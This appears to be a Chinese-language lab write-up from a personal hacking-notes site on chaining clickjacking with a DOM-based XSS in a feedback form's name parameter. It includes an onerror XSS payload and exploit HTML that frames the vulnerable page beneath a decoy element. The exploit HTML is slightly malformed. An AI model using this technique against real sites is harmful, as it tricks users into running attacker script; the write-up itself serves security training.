> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/clickjacking/clickjacking-to-trigger-dom-xss.md).

# 用于触发 DOM XSS 的点击劫持

### 利用点击劫持漏洞触发基于 DOM 的 XSS

#### 目标

诱导用户点击嵌入在 iframe 中的按钮（"Click Me"）以运行 `print()` 通过点击触发的 XSS 漏洞调用该函数。

<figure><img src="/files/020cba420072e006a0fb99caf3f6216b789f78f0" alt=""><figcaption></figcaption></figure>

#### 上下文 / 观察

* 该 **反馈** 表单有一个 `name` 参数存在 DOM 型 XSS 漏洞（当图片加载失败时，JavaScript payload 会运行并调用所需函数）。
* 检测到的 payload 示例： `&name=<img src=0 onerror=print()>`.

```html
<img src=0 onerror=alert(0)>
```

<figure><img src="/files/cc2665aafe19dc157beae487b88ed94aaca05d26" alt=""><figcaption></figcaption></figure>

* 其他可用于在框架中预填表单的有用参数： `email`, `subject`, `message`.

#### 使用的载荷

为了触发 `print()` 通过……中的漏洞 `name`:

```html
<img src=0 onerror=print()>
```

<figure><img src="/files/a7c96806beed0720e0e465c2fca2a046df92a122" alt=""><figcaption></figcaption></figure>

* 包含一个 `<iframe>` 指向 `/feedback` 带有预填参数（的有漏洞页面`name`, `email`, `subject`, `message`）并包含 XSS payload。

```
?name=jordan&email=hello@jord4n.pro&subject=hacked&message=hack
```

<figure><img src="/files/4c3ed6fc1fd81a6383441cf80555a7e56ac9e3f5" alt=""><figcaption></figcaption></figure>

1. 使框架几乎不可见（非常低的不透明度），并在其上方叠加一个诱饵，位置设置为让受害者的点击落到框架内的“Click Me”按钮上。
2. 当受害者点击诱饵时，点击会传递到框架中，并触发 DOM 型 XSS——这里 `print()` 会调用。

#### 在利用服务器上托管的示例代码

```html
<style>
iframe{
width: 1000px;
height:900px;
}
div{
position: relative;
top: 830px;
left: 80px;
}
</style>
<div>点击</div>
<iframe src="https://0a6200db035e811c815e804300ac0083.web-security-academy.net/feedback?name=%3Cimg%20src=0%20onerror=print()%3E&email=hello@jord4n.pro&subject=hacked&message=hack"</iframe>
```

<figure><img src="/files/7984f153be962347c94910f2892d694dd52c46e6" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2feea11bf85f58ec1be9d062016bf61ffa41ca51" alt=""><figcaption></figcaption></figure>


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